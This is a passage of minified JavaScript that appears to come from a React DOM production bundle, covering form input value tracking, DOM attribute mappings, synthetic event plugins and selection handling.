je(e,t)}finally{Ie=!1,(null!==Pe||null!==Oe)&&(Ue(),Me())}}var Fe={color:!0,date:!0,datetime:!0,"datetime-local":!0,email:!0,month:!0,number:!0,password:!0,range:!0,search:!0,tel:!0,text:!0,time:!0,url:!0,week:!0};function ze(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return"input"===t?!!Fe[e.type]:"textarea"===t}function Le(e){return(e=e.target||e.srcElement||window).correspondingUseElement&&(e=e.correspondingUseElement),3===e.nodeType?e.parentNode:e}function $e(e){if(!q)return!1;var t=(e="on"+e)in document;return t||((t=document.createElement("div")).setAttribute(e,"return;"),t="function"==typeof t[e]),t}function We(e){var t=e.type;return(e=e.nodeName)&&"input"===e.toLowerCase()&&("checkbox"===t||"radio"===t)}function Ve(e){e._valueTracker||(e._valueTracker=function(e){var t=We(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&void 0!==n&&"function"==typeof n.get&&"function"==typeof n.set){var o=n.get,i=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return o.call(this)},set:function(e){r=""+e,i.call(this,e)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(e){r=""+e},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}(e))}function Be(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=We(e)?e.checked?"true":"false":e.value),(e=r)!==n&&(t.setValue(e),!0)}var He=r.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;He.hasOwnProperty("ReactCurrentDispatcher")||(He.ReactCurrentDispatcher={current:null});var qe=/^(.*)[\\\/]/,Qe="function"==typeof Symbol&&Symbol.for,Ke=Qe?Symbol.for("react.element"):60103,Ye=Qe?Symbol.for("react.portal"):60106,Xe=Qe?Symbol.for("react.fragment"):60107,Ge=Qe?Symbol.for("react.strict_mode"):60108,Je=Qe?Symbol.for("react.profiler"):60114,Ze=Qe?Symbol.for("react.provider"):60109,et=Qe?Symbol.for("react.context"):60110,tt=Qe?Symbol.for("react.concurrent_mode"):60111,nt=Qe?Symbol.for("react.forward_ref"):60112,rt=Qe?Symbol.for("react.suspense"):60113,ot=Qe?Symbol.for("react.memo"):60115,it=Qe?Symbol.for("react.lazy"):60116,at="function"==typeof Symbol&&Symbol.iterator;function ut(e){return null===e||"object"!=typeof e?null:"function"==typeof(e=at&&e[at]||e["@@iterator"])?e:null}function lt(e){if(null==e)return null;if("function"==typeof e)return e.displayName||e.name||null;if("string"==typeof e)return e;switch(e){case tt:return"ConcurrentMode";case Xe:return"Fragment";case Ye:return"Portal";case Je:return"Profiler";case Ge:return"StrictMode";case rt:return"Suspense"}if("object"==typeof e)switch(e.$$typeof){case et:return"Context.Consumer";case Ze:return"Context.Provider";case nt:var t=e.render;return t=t.displayName||t.name||"",e.displayName||(""!==t?"ForwardRef("+t+")":"ForwardRef");case ot:return lt(e.type);case it:if(e=1===e._status?e._result:null)return lt(e)}return null}function ct(e){var t="";do{e:switch(e.tag){case 3:case 4:case 6:case 7:case 10:case 9:var n="";break e;default:var r=e._debugOwner,o=e._debugSource,i=lt(e.type);n=null,r&&(n=lt(r.type)),r=i,i="",o?i=" (at "+o.fileName.replace(qe,"")+":"+o.lineNumber+")":n&&(i=" (created by "+n+")"),n="\n in "+(r||"Unknown")+i}t+=n,e=e.return}while(e);return t}var st=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,ft=Object.prototype.hasOwnProperty,dt={},pt={};function mt(e,t,n,r,o){this.acceptsBooleans=2===t||3===t||4===t,this.attributeName=r,this.attributeNamespace=o,this.mustUseProperty=n,this.propertyName=e,this.type=t}var ht={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach((function(e){ht[e]=new mt(e,0,!1,e,null)})),[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach((function(e){var t=e[0];ht[t]=new mt(t,1,!1,e[1],null)})),["contentEditable","draggable","spellCheck","value"].forEach((function(e){ht[e]=new mt(e,2,!1,e.toLowerCase(),null)})),["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach((function(e){ht[e]=new mt(e,2,!1,e,null)})),"allowFullScreen async autoFocus autoPlay controls default defer disabled formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach((function(e){ht[e]=new mt(e,3,!1,e.toLowerCase(),null)})),["checked","multiple","muted","selected"].forEach((function(e){ht[e]=new mt(e,3,!0,e,null)})),["capture","download"].forEach((function(e){ht[e]=new mt(e,4,!1,e,null)})),["cols","rows","size","span"].forEach((function(e){ht[e]=new mt(e,6,!1,e,null)})),["rowSpan","start"].forEach((function(e){ht[e]=new mt(e,5,!1,e.toLowerCase(),null)}));var yt=/[\-:]([a-z])/g;function vt(e){return e[1].toUpperCase()}function gt(e,t,n,r){var o=ht.hasOwnProperty(t)?ht[t]:null;(null!==o?0===o.type:!r&&(2<t.length&&("o"===t[0]||"O"===t[0])&&("n"===t[1]||"N"===t[1])))||(function(e,t,n,r){if(null==t||function(e,t,n,r){if(null!==n&&0===n.type)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return!r&&(null!==n?!n.acceptsBooleans:"data-"!==(e=e.toLowerCase().slice(0,5))&&"aria-"!==e);default:return!1}}(e,t,n,r))return!0;if(r)return!1;if(null!==n)switch(n.type){case 3:return!t;case 4:return!1===t;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}(t,n,o,r)&&(n=null),r||null===o?function(e){return!!ft.call(pt,e)||!ft.call(dt,e)&&(st.test(e)?pt[e]=!0:(dt[e]=!0,!1))}(t)&&(null===n?e.removeAttribute(t):e.setAttribute(t,""+n)):o.mustUseProperty?e[o.propertyName]=null===n?3!==o.type&&"":n:(t=o.attributeName,r=o.attributeNamespace,null===n?e.removeAttribute(t):(n=3===(o=o.type)||4===o&&!0===n?"":""+n,r?e.setAttributeNS(r,t,n):e.setAttribute(t,n))))}function bt(e){switch(typeof e){case"boolean":case"number":case"object":case"string":case"undefined":return e;default:return""}}function wt(e,t){var n=t.checked;return o({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:null!=n?n:e._wrapperState.initialChecked})}function xt(e,t){var n=null==t.defaultValue?"":t.defaultValue,r=null!=t.checked?t.checked:t.defaultChecked;n=bt(null!=t.value?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:"checkbox"===t.type||"radio"===t.type?null!=t.checked:null!=t.value}}function St(e,t){null!=(t=t.checked)&>(e,"checked",t,!1)}function kt(e,t){St(e,t);var n=bt(t.value),r=t.type;if(null!=n)"number"===r?(0===n&&""===e.value||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if("submit"===r||"reset"===r)return void e.removeAttribute("value");t.hasOwnProperty("value")?Ct(e,t.type,n):t.hasOwnProperty("defaultValue")&&Ct(e,t.type,bt(t.defaultValue)),null==t.checked&&null!=t.defaultChecked&&(e.defaultChecked=!!t.defaultChecked)}function Tt(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!("submit"!==r&&"reset"!==r||void 0!==t.value&&null!==t.value))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}""!==(n=e.name)&&(e.name=""),e.defaultChecked=!e.defaultChecked,e.defaultChecked=!!e._wrapperState.initialChecked,""!==n&&(e.name=n)}function Ct(e,t,n){"number"===t&&e.ownerDocument.activeElement===e||(null==n?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach((function(e){var t=e.replace(yt,vt);ht[t]=new mt(t,1,!1,e,null)})),"xlink:actuate xlink:arcrole xlink:href xlink:role xlink:show xlink:title xlink:type".split(" ").forEach((function(e){var t=e.replace(yt,vt);ht[t]=new mt(t,1,!1,e,"http://www.w3.org/1999/xlink")})),["xml:base","xml:lang","xml:space"].forEach((function(e){var t=e.replace(yt,vt);ht[t]=new mt(t,1,!1,e,"http://www.w3.org/XML/1998/namespace")})),["tabIndex","crossOrigin"].forEach((function(e){ht[e]=new mt(e,1,!1,e.toLowerCase(),null)}));var _t={change:{phasedRegistrationNames:{bubbled:"onChange",captured:"onChangeCapture"},dependencies:"blur change click focus input keydown keyup selectionchange".split(" ")}};function Et(e,t,n){return(e=ce.getPooled(_t.change,e,t,n)).type="change",Re(n),H(e),e}var Pt=null,Ot=null;function Nt(e){M(e)}function Rt(e){if(Be(F(e)))return e}function Mt(e,t){if("change"===e)return t}var jt=!1;function Dt(){Pt&&(Pt.detachEvent("onpropertychange",Ut),Ot=Pt=null)}function Ut(e){"value"===e.propertyName&&Rt(Ot)&&Ae(Nt,e=Et(Ot,e,Le(e)))}function It(e,t,n){"focus"===e?(Dt(),Ot=n,(Pt=t).attachEvent("onpropertychange",Ut)):"blur"===e&&Dt()}function At(e){if("selectionchange"===e||"keyup"===e||"keydown"===e)return Rt(Ot)}function Ft(e,t){if("click"===e)return Rt(t)}function zt(e,t){if("input"===e||"change"===e)return Rt(t)}q&&(jt=$e("input")&&(!document.documentMode||9<document.documentMode));var Lt={eventTypes:_t,_isInputEventSupported:jt,extractEvents:function(e,t,n,r){var o=t?F(t):window,i=void 0,a=void 0,u=o.nodeName&&o.nodeName.toLowerCase();if("select"===u||"input"===u&&"file"===o.type?i=Mt:ze(o)?jt?i=zt:(i=At,a=It):(u=o.nodeName)&&"input"===u.toLowerCase()&&("checkbox"===o.type||"radio"===o.type)&&(i=Ft),i&&(i=i(e,t)))return Et(i,n,r);a&&a(e,o,t),"blur"===e&&(e=o._wrapperState)&&e.controlled&&"number"===o.type&&Ct(o,"number",o.value)}},$t=ce.extend({view:null,detail:null}),Wt={Alt:"altKey",Control:"ctrlKey",Meta:"metaKey",Shift:"shiftKey"};function Vt(e){var t=this.nativeEvent;return t.getModifierState?t.getModifierState(e):!!(e=Wt[e])&&!!t[e]}function Bt(){return Vt}var Ht=0,qt=0,Qt=!1,Kt=!1,Yt=$t.extend({screenX:null,screenY:null,clientX:null,clientY:null,pageX:null,pageY:null,ctrlKey:null,shiftKey:null,altKey:null,metaKey:null,getModifierState:Bt,button:null,buttons:null,relatedTarget:function(e){return e.relatedTarget||(e.fromElement===e.srcElement?e.toElement:e.fromElement)},movementX:function(e){if("movementX"in e)return e.movementX;var t=Ht;return Ht=e.screenX,Qt?"mousemove"===e.type?e.screenX-t:0:(Qt=!0,0)},movementY:function(e){if("movementY"in e)return e.movementY;var t=qt;return qt=e.screenY,Kt?"mousemove"===e.type?e.screenY-t:0:(Kt=!0,0)}}),Xt=Yt.extend({pointerId:null,width:null,height:null,pressure:null,tangentialPressure:null,tiltX:null,tiltY:null,twist:null,pointerType:null,isPrimary:null}),Gt={mouseEnter:{registrationName:"onMouseEnter",dependencies:["mouseout","mouseover"]},mouseLeave:{registrationName:"onMouseLeave",dependencies:["mouseout","mouseover"]},pointerEnter:{registrationName:"onPointerEnter",dependencies:["pointerout","pointerover"]},pointerLeave:{registrationName:"onPointerLeave",dependencies:["pointerout","pointerover"]}},Jt={eventTypes:Gt,extractEvents:function(e,t,n,r){var o="mouseover"===e||"pointerover"===e,i="mouseout"===e||"pointerout"===e;if(o&&(n.relatedTarget||n.fromElement)||!i&&!o)return null;if(o=r.window===r?r:(o=r.ownerDocument)?o.defaultView||o.parentWindow:window,i?(i=t,t=(t=n.relatedTarget||n.toElement)?I(t):null):i=null,i===t)return null;var a=void 0,u=void 0,l=void 0,c=void 0;"mouseout"===e||"mouseover"===e?(a=Yt,u=Gt.mouseLeave,l=Gt.mouseEnter,c="mouse"):"pointerout"!==e&&"pointerover"!==e||(a=Xt,u=Gt.pointerLeave,l=Gt.pointerEnter,c="pointer");var s=null==i?o:F(i);if(o=null==t?o:F(t),(e=a.getPooled(u,i,n,r)).type=c+"leave",e.target=s,e.relatedTarget=o,(n=a.getPooled(l,t,n,r)).type=c+"enter",n.target=o,n.relatedTarget=s,r=t,i&&r)e:{for(o=r,c=0,a=t=i;a;a=L(a))c++;for(a=0,l=o;l;l=L(l))a++;for(;0<c-a;)t=L(t),c--;for(;0<a-c;)o=L(o),a--;for(;c--;){if(t===o||t===o.alternate)break e;t=L(t),o=L(o)}t=null}else t=null;for(o=t,t=[];i&&i!==o&&(null===(c=i.alternate)||c!==o);)t.push(i),i=L(i);for(i=[];r&&r!==o&&(null===(c=r.alternate)||c!==o);)i.push(r),r=L(r);for(r=0;r<t.length;r++)V(t[r],"bubbled",e);for(r=i.length;0<r--;)V(i[r],"captured",n);return[e,n]}};function Zt(e,t){return e===t&&(0!==e||1/e==1/t)||e!=e&&t!=t}var en=Object.prototype.hasOwnProperty;function tn(e,t){if(Zt(e,t))return!0;if("object"!=typeof e||null===e||"object"!=typeof t||null===t)return!1;var n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(r=0;r<n.length;r++)if(!en.call(t,n[r])||!Zt(e[n[r]],t[n[r]]))return!1;return!0}function nn(e){var t=e;if(e.alternate)for(;t.return;)t=t.return;else{if(0!=(2&t.effectTag))return 1;for(;t.return;)if(0!=(2&(t=t.return).effectTag))return 1}return 3===t.tag?2:3}function rn(e){2!==nn(e)&&a("188")}function on(e){if(!(e=function(e){var t=e.alternate;if(!t)return 3===(t=nn(e))&&a("188"),1===t?null:e;for(var n=e,r=t;;){var o=n.return,i=o?o.alternate:null;if(!o||!i)break;if(o.child===i.child){for(var u=o.child;u;){if(u===n)return rn(o),e;if(u===r)return rn(o),t;u=u.sibling}a("188")}if(n.return!==r.return)n=o,r=i;else{u=!1;for(var l=o.child;l;){if(l===n){u=!0,n=o,r=i;break}if(l===r){u=!0,r=o,n=i;break}l=l.sibling}if(!u){for(l=i.child;l;){if(l===n){u=!0,n=i,r=o;break}if(l===r){u=!0,r=i,n=o;break}l=l.sibling}u||a("189")}}n.alternate!==r&&a("190")}return 3!==n.tag&&a("188"),n.stateNode.current===n?e:t}(e)))return null;for(var t=e;;){if(5===t.tag||6===t.tag)return t;if(t.child)t.child.return=t,t=t.child;else{if(t===e)break;for(;!t.sibling;){if(!t.return||t.return===e)return null;t=t.return}t.sibling.return=t.return,t=t.sibling}}return null}var an=ce.extend({animationName:null,elapsedTime:null,pseudoElement:null}),un=ce.extend({clipboardData:function(e){return"clipboardData"in e?e.clipboardData:window.clipboardData}}),ln=$t.extend({relatedTarget:null});function cn(e){var t=e.keyCode;return"charCode"in e?0===(e=e.charCode)&&13===t&&(e=13):e=t,10===e&&(e=13),32<=e||13===e?e:0}var sn={Esc:"Escape",Spacebar:" ",Left:"ArrowLeft",Up:"ArrowUp",Right:"ArrowRight",Down:"ArrowDown",Del:"Delete",Win:"OS",Menu:"ContextMenu",Apps:"ContextMenu",Scroll:"ScrollLock",MozPrintableKey:"Unidentified"},fn={8:"Backspace",9:"Tab",12:"Clear",13:"Enter",16:"Shift",17:"Control",18:"Alt",19:"Pause",20:"CapsLock",27:"Escape",32:" ",33:"PageUp",34:"PageDown",35:"End",36:"Home",37:"ArrowLeft",38:"ArrowUp",39:"ArrowRight",40:"ArrowDown",45:"Insert",46:"Delete",112:"F1",113:"F2",114:"F3",115:"F4",116:"F5",117:"F6",118:"F7",119:"F8",120:"F9",121:"F10",122:"F11",123:"F12",144:"NumLock",145:"ScrollLock",224:"Meta"},dn=$t.extend({key:function(e){if(e.key){var t=sn[e.key]||e.key;if("Unidentified"!==t)return t}return"keypress"===e.type?13===(e=cn(e))?"Enter":String.fromCharCode(e):"keydown"===e.type||"keyup"===e.type?fn[e.keyCode]||"Unidentified":""},location:null,ctrlKey:null,shiftKey:null,altKey:null,metaKey:null,repeat:null,locale:null,getModifierState:Bt,charCode:function(e){return"keypress"===e.type?cn(e):0},keyCode:function(e){return"keydown"===e.type||"keyup"===e.type?e.keyCode:0},which:function(e){return"keypress"===e.type?cn(e):"keydown"===e.type||"keyup"===e.type?e.keyCode:0}}),pn=Yt.extend({dataTransfer:null}),mn=$t.extend({touches:null,targetTouches:null,changedTouches:null,altKey:null,metaKey:null,ctrlKey:null,shiftKey:null,getModifierState:Bt}),hn=ce.extend({propertyName:null,elapsedTime:null,pseudoElement:null}),yn=Yt.extend({deltaX:function(e){return"deltaX"in e?e.deltaX:"wheelDeltaX"in e?-e.wheelDeltaX:0},deltaY:function(e){return"deltaY"in e?e.deltaY:"wheelDeltaY"in e?-e.wheelDeltaY:"wheelDelta"in e?-e.wheelDelta:0},deltaZ:null,deltaMode:null}),vn=[["abort","abort"],[J,"animationEnd"],[Z,"animationIteration"],[ee,"animationStart"],["canplay","canPlay"],["canplaythrough","canPlayThrough"],["drag","drag"],["dragenter","dragEnter"],["dragexit","dragExit"],["dragleave","dragLeave"],["dragover","dragOver"],["durationchange","durationChange"],["emptied","emptied"],["encrypted","encrypted"],["ended","ended"],["error","error"],["gotpointercapture","gotPointerCapture"],["load","load"],["loadeddata","loadedData"],["loadedmetadata","loadedMetadata"],["loadstart","loadStart"],["lostpointercapture","lostPointerCapture"],["mousemove","mouseMove"],["mouseout","mouseOut"],["mouseover","mouseOver"],["playing","playing"],["pointermove","pointerMove"],["pointerout","pointerOut"],["pointerover","pointerOver"],["progress","progress"],["scroll","scroll"],["seeking","seeking"],["stalled","stalled"],["suspend","suspend"],["timeupdate","timeUpdate"],["toggle","toggle"],["touchmove","touchMove"],[te,"transitionEnd"],["waiting","waiting"],["wheel","wheel"]],gn={},bn={};function wn(e,t){var n=e[0],r="on"+((e=e[1])[0].toUpperCase()+e.slice(1));t={phasedRegistrationNames:{bubbled:r,captured:r+"Capture"},dependencies:[n],isInteractive:t},gn[e]=t,bn[n]=t}[["blur","blur"],["cancel","cancel"],["click","click"],["close","close"],["contextmenu","contextMenu"],["copy","copy"],["cut","cut"],["auxclick","auxClick"],["dblclick","doubleClick"],["dragend","dragEnd"],["dragstart","dragStart"],["drop","drop"],["focus","focus"],["input","input"],["invalid","invalid"],["keydown","keyDown"],["keypress","keyPress"],["keyup","keyUp"],["mousedown","mouseDown"],["mouseup","mouseUp"],["paste","paste"],["pause","pause"],["play","play"],["pointercancel","pointerCancel"],["pointerdown","pointerDown"],["pointerup","pointerUp"],["ratechange","rateChange"],["reset","reset"],["seeked","seeked"],["submit","submit"],["touchcancel","touchCancel"],["touchend","touchEnd"],["touchstart","touchStart"],["volumechange","volumeChange"]].forEach((function(e){wn(e,!0)})),vn.forEach((function(e){wn(e,!1)}));var xn={eventTypes:gn,isInteractiveTopLevelEventType:function(e){return void 0!==(e=bn[e])&&!0===e.isInteractive},extractEvents:function(e,t,n,r){var o=bn[e];if(!o)return null;switch(e){case"keypress":if(0===cn(n))return null;case"keydown":case"keyup":e=dn;break;case"blur":case"focus":e=ln;break;case"click":if(2===n.button)return null;case"auxclick":case"dblclick":case"mousedown":case"mousemove":case"mouseup":case"mouseout":case"mouseover":case"contextmenu":e=Yt;break;case"drag":case"dragend":case"dragenter":case"dragexit":case"dragleave":case"dragover":case"dragstart":case"drop":e=pn;break;case"touchcancel":case"touchend":case"touchmove":case"touchstart":e=mn;break;case J:case Z:case ee:e=an;break;case te:e=hn;break;case"scroll":e=$t;break;case"wheel":e=yn;break;case"copy":case"cut":case"paste":e=un;break;case"gotpointercapture":case"lostpointercapture":case"pointercancel":case"pointerdown":case"pointermove":case"pointerout":case"pointerover":case"pointerup":e=Xt;break;default:e=ce}return H(t=e.getPooled(o,t,n,r)),t}},Sn=xn.isInteractiveTopLevelEventType,kn=[];function Tn(e){var t=e.targetInst,n=t;do{if(!n){e.ancestors.push(n);break}var r;for(r=n;r.return;)r=r.return;if(!(r=3!==r.tag?null:r.stateNode.containerInfo))break;e.ancestors.push(n),n=I(r)}while(n);for(n=0;n<e.ancestors.length;n++){t=e.ancestors[n];var o=Le(e.nativeEvent);r=e.topLevelType;for(var i=e.nativeEvent,a=null,u=0;u<g.length;u++){var l=g[u];l&&(l=l.extractEvents(r,t,i,o))&&(a=_(a,l))}M(a)}}var Cn=!0;function _n(e,t){if(!t)return null;var n=(Sn(e)?Pn:On).bind(null,e);t.addEventListener(e,n,!1)}function En(e,t){if(!t)return null;var n=(Sn(e)?Pn:On).bind(null,e);t.addEventListener(e,n,!0)}function Pn(e,t){De(On,e,t)}function On(e,t){if(Cn){var n=Le(t);if(null===(n=I(n))||"number"!=typeof n.tag||2===nn(n)||(n=null),kn.length){var r=kn.pop();r.topLevelType=e,r.nativeEvent=t,r.targetInst=n,e=r}else e={topLevelType:e,nativeEvent:t,targetInst:n,ancestors:[]};try{Ae(Tn,e)}finally{e.topLevelType=null,e.nativeEvent=null,e.targetInst=null,e.ancestors.length=0,10>kn.length&&kn.push(e)}}}var Nn={},Rn=0,Mn="_reactListenersID"+(""+Math.random()).slice(2);function jn(e){return Object.prototype.hasOwnProperty.call(e,Mn)||(e[Mn]=Rn++,Nn[e[Mn]]={}),Nn[e[Mn]]}function Dn(e){if(void 0===(e=e||("undefined"!=typeof document?document:void 0)))return null;try{return e.activeElement||e.body}catch(t){return e.body}}function Un(e){for(;e&&e.firstChild;)e=e.firstChild;return e}function In(e,t){var n,r=Un(e);for(e=0;r;){if(3===r.nodeType){if(n=e+r.textContent.length,e<=t&&n>=t)return{node:r,offset:t-e};e=n}e:{for(;r;){if(r.nextSibling){r=r.nextSibling;break e}r=r.parentNode}r=void 0}r=Un(r)}}function An(){for(var e=window,t=Dn();t instanceof e.HTMLIFrameElement;){try{var n="string"==typeof t.contentWindow.location.href}catch(e){n=!1}if(!n)break;t=Dn((e=t.contentWindow).document)}return t}function Fn(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&("input"===t&&("text"===e.type||"search"===e.type||"tel"===e.type||"url"===e.type||"password"===e.type)||"textarea"===t||"true"===e.contentEditable)}function zn(e){var t=An(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&function e(t,n){return!(!t||!n)&&(t===n||(!t||3!==t.nodeType)&&(n&&3===n.nodeType?e(t,n.parentNode):"contains"in t?t.contains(n):!!t.compareDocumentPosition&&!!(16&t.compareDocumentPosition(n))))}(n.ownerDocument.documentElement,n)){if(null!==r&&Fn(n))if(t=r.start,void 0===(e=r.end)&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if((e=(t=n.ownerDocument||document)&&t.defaultView||window).getSelection){e=e.getSelection();var o=n.textContent.length,i=Math.min(r.start,o);r=void 0===r.end?i:Math.min(r.end,o),!e.extend&&i>r&&(o=r,r=i,i=o),o=In(n,i);var a=In(n,r);o&&a&&(1!==e.rangeCount||e.anchorNode!==o.node||e.anchorOffset!==o.offset||e.focusNode!==a.node||e.focusOffset!==a.offset)&&((t=t.createRange()).setStart(o.node,o.offset),e.removeAllRanges(),i>r?(e.addRange(t),e.extend(a.node,a.offset)):(t.setEnd(a.node,a.offset),e.addRange(t)))}for(t=[],e=n;e=e.parentNode;)1===e.nodeType&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for("function"==typeof n.focus&&n.focus(),n=0;n<t.length;n++)(e=t[n]).element.scrollLeft=e.left,e.element.scrollTop=e.top}}var Ln=q&&"documentMode"in document&&11>=document.documentMode,$n={select:{phasedRegistrationNames:{bubbled:"onSelect",captured:"onSelectCapture"},dependencies:"blur contextmenu dragend focus keydown keyup mousedown mouseup selectionchange".split(" ")}},Wn=null,Vn=null,Bn=null,Hn=!1;function qn(e,t){var n=t.window===t?t.document:9===t.nodeType?t:t.ownerDocument;return Hn||null==Wn||Wn!==Dn(n)?null:("selectionStart"in(n=Wn)&&Fn(n)?n={start:n.selectionStart,end:n.selectionEnd}:n={anchorNode:(n=(n.ownerDocument&&n.ownerDocument.defaultView||window).getSelection()).anchorNode,anchorOffset:n.anchorOffset,focusNode:n.focusNode,focusOffset:n.focusOffset},Bn&&tn(Bn,n)?null:(Bn=n,(e=ce.getPooled($n.select,Vn,e,t)).type="select",e.target=Wn,H(e),e))}var Qn={eventTypes:$n,extractEvents:function(e,t,n,r){var o,i=r.window===r?r.document:9===r.nodeType?r:r.ownerDocument;if(!(o=!i)){e:{i=jn(i),o=x.onSelect;for(var a=0;a<o.length;a++){var u=o[a];if(!i.hasOwnProperty(u)||!i[u]){i=!1;break e}}i=!0}o=!i}if(o)return null;switch(i=t?F(t):window,e){case"focus":(ze(i)||"true"===i.contentEditable)&&(Wn=i,Vn=t,Bn=null);break;case"blur":Bn=Vn=Wn=null;break;case"mousedown":Hn=!0;break;case"contextmenu":case"mouseup":case"dragend":return Hn=!1,qn(n,r);case"selectionchange":if(Ln)break;case"keydown":case"keyup":return qn(n,r)}return null}};function Kn(e,t){return e=o({children:void 0},t),(t=function(e){var t="";return r.Children.forEach(e,(function(e){null!=e&&(t+=e)})),t}(t.children))&&(e.children=t),e}function Yn(e,t,n,r){if(e=e.options,t){t={};for(var o=0;o<n.length;o++)t["$"+n[o]]=!0;for(n=0;n<e.length;n++)o=t.hasOwnProperty("$"+e[n].value),e[n].selected!==o&&(e[n].selected=o),o&&r&&(e[n].defaultSelected=!0)}else{for(n=""+bt(n),t=null,o=0;o<e.length;o++){if(e[o].value===n)return e[o].selected=!0,void(r&&(e[o].defaultSelected=!0));null!==t||e[o].disabled||(t=e[o])}null!==t&&(t.selected=!0)}}function Xn(e,t){return null!=t.dangerouslySetInnerHTML&&a("91"),o({},t,{value:void 0,defaultValue:void 0,children:""+e._wrapperState.initialValue})}function Gn(e,t){var n=t.value;null==n&&(n=t.defaultValue,null!=(t=t.children)&&(null!=n&&a("92"),Array.isArray(t)&&(1>=t.length||a("93"),t=t[0]),n=t),null==n&&(n="")),e._wrapperState={initialValue:bt(n)}}function Jn(e,t){var n=bt(t.value),r=bt(t.defaultValue);null!=n&&((n=""+n)!==e.value&&(e.value=n),null==t.defaultValue&&e.defaultValue!==n&&(e.defaultValue=n)),null!=r&&(e.defaultValue=""+r)}function Zn(e){var t=e.textContent;t===e._wrapperState.initialValue&&(e.value=t)}N.injectEventPluginOrder("ResponderEventPlugin SimpleEventPlugin EnterLeaveEventPlugin ChangeEventPlugin SelectEventPlugin BeforeInputEventPlugin".split(" ")),S=z,k=A,T=F,N.injectEventPluginsByName({SimpleEventPlugin:xn,EnterLeaveEventPlugin:Jt,ChangeEventPlugin:Lt,SelectEventPlugin:Qn,BeforeInputEventPlugin:_e});var er={html:"http://www.w3.org/1999/xhtml",mathml:"http://www.w3.org/1998/Math/MathML",svg:"http://www.w3.org/2000/svg"};function tr(e){switch(e){case"svg":return"http://www.w3.org/2000/svg";case"math":return"http://www.w3.org/1998/Math/MathML";default:return"http://www.w3.org/1999/xhtml"}}function nr(e,t){return null==e||"http://www.w3.org/1999/xhtml"===e?tr(t):"http://www.w3.org/2000/svg"===e&&"foreignObject"===t?"http://www.w3.org/1999/xhtml":e}var rr=void 0,or=function(e){return"undefined"!=typeof MSApp&&MSApp.execUnsafeLocalFunction?function(t,n,r,o){MSApp.execUnsafeLocalFunction((function(){return e(t,n)}))}:e}((function(e,t){if(e.namespaceURI!==er.svg||"innerHTML"in e)e.innerHTML=t;else{for((rr=rr||document.createElement("div")).innerHTML="<svg>"+t+"</svg>",t=rr.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}}));function ir(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&3===n.nodeType)return void(n.nodeValue=t)}e.textContent=t}var 